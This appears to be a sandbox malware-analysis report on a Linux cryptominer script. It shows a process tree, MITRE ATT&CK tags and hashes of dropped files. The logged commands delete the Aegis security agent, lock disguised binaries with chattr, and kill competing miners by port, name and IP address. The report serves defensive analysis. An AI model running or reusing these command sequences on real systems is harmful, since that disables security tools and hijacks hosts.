  grep -v grep
  2⤵
  PID:909
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:908
- /bin/rm
  rm -rf /usr/local/aegis
  2⤵
  PID:913
- /bin/sleep
  sleep 1
  2⤵
  PID:914
- /usr/bin/chattr
  chattr -i /usr/bin/ip6network
  2⤵
  - Attempts to change immutable files
  - System Network Configuration Discovery
  PID:917
- /usr/bin/chattr
  chattr -i /usr/bin/kswaped
  2⤵
  - Attempts to change immutable files
  PID:918
- /usr/bin/chattr
  chattr -i /usr/bin/irqbalanced
  2⤵
  - Attempts to change immutable files
  PID:919
- /usr/bin/chattr
  chattr -i /usr/bin/rctlcli
  2⤵
  - Attempts to change immutable files
  PID:920
- /usr/bin/chattr
  chattr -i /usr/bin/systemd-network
  2⤵
  - Attempts to change immutable files
  PID:921
- /usr/bin/chattr
  chattr -i /usr/bin/pamdicks
  2⤵
  - Attempts to change immutable files
  PID:922
- /usr/bin/chattr
  chattr +i /usr/bin/ip6network
  2⤵
  - Attempts to change immutable files
  - System Network Configuration Discovery
  PID:923
- /usr/bin/chattr
  chattr +i /usr/bin/kswaped
  2⤵
  - Attempts to change immutable files
  PID:924
- /usr/bin/chattr
  chattr +i /usr/bin/irqbalanced
  2⤵
  - Attempts to change immutable files
  PID:925
- /usr/bin/chattr
  chattr +i /usr/bin/rctlcli
  2⤵
  - Attempts to change immutable files
  PID:926
- /usr/bin/chattr
  chattr +i /usr/bin/systemd-network
  2⤵
  - Attempts to change immutable files
  PID:927
- /usr/bin/chattr
  chattr +i /usr/bin/pamdicks
  2⤵
  - Attempts to change immutable files
  PID:928
- /bin/sleep
  sleep 1
  2⤵
  PID:929
- /bin/rm
  rm -f /tmp/.null
  2⤵
  PID:930
- /sbin/sysctl
  sysctl -w "vm.nr_hugepages=128"
  2⤵
  - Reads CPU attributes
  PID:931
- /bin/grep
  grep :23
  2⤵
  PID:933
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:935
- /bin/grep
  grep -v -
  2⤵
  PID:936
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:937
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:934
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:941
- /bin/grep
  grep -v -
  2⤵
  PID:942
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:940
- /bin/grep
  grep :143
  2⤵
  PID:939
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:943
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:947
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:946
- /bin/grep
  grep -v -
  2⤵
  PID:948
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:949
- /bin/grep
  grep :2222
  2⤵
  PID:945
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:953
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:956
- /bin/grep
  grep :3333
  2⤵
  PID:952
- /bin/grep
  grep -v -
  2⤵
  PID:955
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:954
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:960
- /bin/grep
  grep -v -
  2⤵
  PID:962
- /bin/grep
  grep :3389
  2⤵
  PID:959
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:963
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:961
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:967
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:966
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:969
- /bin/grep
  grep -v -
  2⤵
  PID:968
- /bin/grep
  grep :5555
  2⤵
  PID:965
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:973
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:972
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  - Reads runtime system information
  PID:975
- /bin/grep
  grep :6666
  2⤵
  PID:971
- /bin/grep
  grep -v -
  2⤵
  PID:974
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:979
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:978
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:981
- /bin/grep
  grep :6665
  2⤵
  PID:977
- /bin/grep
  grep -v -
  2⤵
  PID:980
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:985
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:984
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:987
- /bin/grep
  grep -v -
  2⤵
  PID:986
- /bin/grep
  grep :6667
  2⤵
  PID:983
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:991
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:990
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:993
- /bin/grep
  grep :7777
  2⤵
  PID:989
- /bin/grep
  grep -v -
  2⤵
  PID:992
- /bin/grep
  grep -v -
  2⤵
  PID:998
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:996
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:999
- /bin/grep
  grep :8444
  2⤵
  PID:995
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:997
- /bin/grep
  grep -v -
  2⤵
  PID:1004
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1002
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1005
- /bin/grep
  grep :3347
  2⤵
  PID:1001
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1003
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1009
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1008
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1011
- /bin/grep
  grep -v -
  2⤵
  PID:1010
- /bin/grep
  grep :10008
  2⤵
  PID:1007
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1016
- /bin/grep
  grep :13531
  2⤵
  PID:1014
- /bin/grep
  grep -v grep
  2⤵
  PID:1013
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1015
- /bin/grep
  grep :3333
  2⤵
  PID:1019
- /bin/grep
  grep -v grep
  2⤵
  PID:1018
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1021
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1017
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1020
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1026
- /bin/grep
  grep :5555
  2⤵
  PID:1024
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1025
- /bin/grep
  grep -v grep
  2⤵
  PID:1023
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1022
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1030
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1031
- /bin/grep
  grep -v grep
  2⤵
  PID:1028
- /bin/grep
  grep "kworker -c\\"
  2⤵
  PID:1029
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1027
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1036
- /bin/grep
  grep log_
  2⤵
  PID:1034
- /bin/grep
  grep -v grep
  2⤵
  PID:1033
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1032
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1035
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1040
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1041
- /bin/grep
  grep -v grep
  2⤵
  PID:1038
- /bin/grep
  grep systemten
  2⤵
  PID:1039
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1037
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1045
- /bin/grep
  grep netns
  2⤵
  PID:1044
- /bin/grep
  grep -v grep
  2⤵
  PID:1043
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1046
- - /usr/local/sbin/kill
    kill -9 14
    3⤵
    PID:1047
- - /usr/local/bin/kill
    kill -9 14
    3⤵
    PID:1047
- - /usr/sbin/kill
    kill -9 14
    3⤵
    PID:1047
- - /usr/bin/kill
    kill -9 14
    3⤵
    PID:1047
- - /sbin/kill
    kill -9 14
    3⤵
    PID:1047
- - /bin/kill
    kill -9 14
    3⤵
    - Reads CPU attributes
    PID:1047
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1042
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1052
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1051
- /bin/grep
  grep voltuned
  2⤵
  PID:1050
- /bin/grep
  grep -v grep
  2⤵
  PID:1049
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1048
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1056
- /bin/grep
  grep darwin
  2⤵
  PID:1055
- /bin/grep
  grep -v grep
  2⤵
  PID:1054
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1057
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1053
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1062
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1061
- /bin/grep
  grep /tmp/dl
  2⤵
  PID:1060
- /bin/grep
  grep -v grep
  2⤵
  PID:1059
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1058
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1067
- /bin/grep
  grep /tmp/ddg
  2⤵
  PID:1065
- /bin/grep
  grep -v grep
  2⤵
  PID:1064
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1066
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1063
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1071
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1072
- /bin/grep
  grep -v grep
  2⤵
  PID:1069
- /bin/grep
  grep /tmp/pprt
  2⤵
  PID:1070
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1068
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1077
- /bin/grep
  grep /tmp/ppol
  2⤵
  PID:1075
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1076
- /bin/grep
  grep -v grep
  2⤵
  PID:1074
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1073
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1082
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1081
- /bin/grep
  grep "/tmp/65ccE*"
  2⤵
  PID:1080
- /bin/grep
  grep -v grep
  2⤵
  PID:1079
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1078
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1086
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1087
- /bin/grep
  grep -v grep
  2⤵
  PID:1084
- /bin/grep
  grep "/tmp/jmx*"
  2⤵
  PID:1085
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1083
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1092
- /bin/grep
  grep "/tmp/2Ne80*"
  2⤵
  PID:1090
- /bin/grep
  grep -v grep
  2⤵
  PID:1089
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1088
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1091
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1096
- /bin/grep
  grep -v grep
  2⤵
  PID:1094
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1097
- /bin/grep
  grep IOFoqIgyC0zmf2UR
  2⤵
  PID:1095
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1093
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1101
- /bin/grep
  grep 45.76.122.92
  2⤵
  PID:1100
- /bin/grep
  grep -v grep
  2⤵
  PID:1099
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1098
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1102
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1106
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1107
- /bin/grep
  grep -v grep
  2⤵
  PID:1104
- /bin/grep
  grep 51.38.191.178
  2⤵
  PID:1105
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1103
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1112
- /bin/grep
  grep 51.15.56.161
  2⤵
  PID:1110
- /bin/grep
  grep -v grep
  2⤵
  PID:1109
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1111
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1108
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1117
- /bin/grep
  grep C4iLM4L
  2⤵
  PID:1115
- /bin/grep
  grep -v grep
  2⤵
  PID:1114
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1116
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1113
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1122
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1121
- /bin/grep
  grep /boot/vmlinuz
  2⤵
  PID:1120
- /bin/grep
  grep -v grep
  2⤵
  PID:1119
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1118
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1126
- /bin/grep
  grep i4b503a52cc5
  2⤵
  PID:1125
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1127
- /bin/grep
  grep -v grep
  2⤵
  PID:1124
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1123
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1132
- /bin/grep
  grep 2g0uv7npuhrlatd
  2⤵
  PID:1130
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1131
- /bin/grep
  grep -v grep
  2⤵
  PID:1129
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1128
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1136
- /bin/grep
  grep nqscheduler
  2⤵
  PID:1135
- /bin/grep
  grep -v grep
  2⤵
  PID:1134
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1137
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1133
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1142
- /bin/grep
  grep httpgd
  2⤵
  PID:1140
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1141
- /bin/grep
  grep -v grep
  2⤵
  PID:1139
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1138
- /bin/grep
  grep -v aux
  2⤵
  PID:1145
- /bin/grep
  grep -v grep
  2⤵
  PID:1144
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1148
- /bin/grep
  grep "]"
  2⤵
  PID:1146
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1143
- /usr/bin/awk
  awk "\$3>10.0{print \$2}"
  2⤵
  PID:1147
- /bin/grep
  grep -v /
  2⤵
  PID:1151
- /bin/grep
  grep -v grep
  2⤵
  PID:1150
- /bin/grep
  grep -v -
  2⤵
  PID:1152
- /usr/bin/awk
  awk "length(\$11)>19{print \$2}"
  2⤵
  PID:1154
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1149
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1155
- /bin/grep
  grep -v _
  2⤵
  PID:1153
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1159
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1160
- /bin/grep
  grep "\\[^"
  2⤵
  PID:1158
- /bin/grep
  grep -v grep
  2⤵
  PID:1157
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1156
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1164
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1165
- /bin/grep
  grep rsync
  2⤵
  PID:1163
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1161
- /bin/grep
  grep -v grep
  2⤵
  PID:1162
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1170
- /bin/grep
  grep watchd0g
  2⤵
  PID:1168
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1169
- /bin/grep
  grep -v grep
  2⤵
  PID:1167
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1166
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1174
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  PID:1175
- /bin/egrep
  egrep "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1173
- /bin/grep
  grep -v grep
  2⤵
  PID:1172
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  PID:1171
- /usr/local/sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1173
- /usr/local/bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1173
- /usr/sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1173
- /usr/bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1173
- /sbin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1173
- /bin/grep
  grep -E "wnTKYg|2t3ik|qW3xT.2|ddg"
  2⤵
  PID:1173
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1180
- /bin/grep
  grep /tmp/java
  2⤵
  PID:1178
- /bin/grep
  grep -v grep
  2⤵
  PID:1177
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1179
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1176
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1185
- /bin/grep
  grep gitee.com
  2⤵
  PID:1183
- /bin/grep
  grep -v grep
  2⤵
  PID:1182
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1184
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1181
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1189
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1190
- /bin/grep
  grep -v grep
  2⤵
  PID:1187
- /bin/grep
  grep /tmp/java
  2⤵
  PID:1188
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1186
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1194
- /bin/grep
  grep -v grep
  2⤵
  PID:1192
- /bin/grep
  grep 104.248.4.162
  2⤵
  PID:1193
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1195
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1191
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1200
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1199
- /bin/grep
  grep 89.35.39.78
  2⤵
  PID:1198
- /bin/grep
  grep -v grep
  2⤵
  PID:1197
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1196
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1205
- /bin/grep
  grep /dev/shm/z3.sh
  2⤵
  PID:1203
- /bin/grep
  grep -v grep
  2⤵
  PID:1202
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1201
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1204

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Linux or Mac System Logs

T1070.002

Credential Access

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

javae

Path /etc/javae
Size 2B
SHA256 4355a46b19d348dc2f57c046f8ef63d4538ebb936000f3c9ee954a27460dd865
MD5 b026324c6904b2a9cb4b88d6d61c81d1
SHA1 e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e
SHA512 3abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686
MD5 SHA1 SHA512

Submit Download

irqbalanced

Path /usr/bin/irqbalanced
Size 2B
SHA256 1121cfccd5913f0a63fec40a6ffd44ea64f9dc135c66634ba001d10bcf4302a2
MD5 6d7fce9fee471194aa8b5b6e47267f03
SHA1 a3db5c13ff90a36963278c6a39e4ee3c22e2a436
SHA512 2b59d179d9815994f687383a886ea34109889756efca5ab27318cc67ce2a21261d12fa6fee6b8c716f72214ead55ee0d789d6c35cff977d40ef5728ba9188a80
MD5 SHA1 SHA512

Submit Download

kswaped

Path /usr/bin/kswaped
Size 2B
SHA256 53c234e5e8472b6ac51c1ae1cab3fe06fad053beb8ebfd8977b010655bfdd3c3
MD5 26ab0db90d72e28ad0ba1e22ee510510
SHA1 7448d8798a4380162d4b56f9b452e2f6f9e24e7a
SHA512 63e22ec2fbeebabf005e58fbfb0eee607c4aa417045a68a0cc63767b048e3559268d35e72f367d3b2dbd5dbddf12fc4397762ba149260b3795a0391713bddcd7
MD5 SHA1 SHA512

Submit Download

pamdicks

Path /usr/bin/pamdicks
Size 2B
SHA256 06e9d52c1720fca412803e3b07c4b228ff113e303f4c7ab94665319d832bbfb7
MD5 9ae0ea9e3c9c6e1b9b6252c8395efdc1
SHA1 ccf271b7830882da1791852baeca1737fcbe4b90
SHA512 f3d08a4bfef201adbe711e8805f96ff13909719107dcac81f4fc9185040d59d8d573344a0707e697f8b4f0212e0d79f3bdd6b86688dd8c54019b9d93c937f3ca
MD5 SHA1 SHA512

Submit Download

rctlcli

Path /usr/bin/rctlcli
Size 2B
SHA256 7de1555df0c2700329e815b93b32c571c3ea54dc967b89e81ab73b9972b72d1d
MD5 48a24b70a0b376535542b996af517398
SHA1 9c6b057a2b9d96a4067a749ee3b3b0158d390cf1
SHA512 db545c410fd0c8ede533d5b0666cd2798ba380bd25b655619cd5fd3a33a255569b3ccc319bfdef3322d8392d894d15c2e6aa2d53346e6ac54eaf5d627bfe6a9a
MD5 SHA1 SHA512

Submit Download

systemd-network

Path /usr/bin/systemd-network
Size 2B
SHA256 f0b5c2c2211c8d67ed15e75e656c7862d086e9245420892a7de62cd9ec582a06
MD5 1dcca23355272056f04fe8bf20edfce0
SHA1 5d9474c0309b7ca09a182d888f73b37a8fe1362c
SHA512 29b3573989378848e91465abb8bb12aaad1c40f01ddba6ce5dce4de88d61d49621cd4272bc6f889cd469e9490040b412eb0a237cf2cd49c637da1d5de5903f3d
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads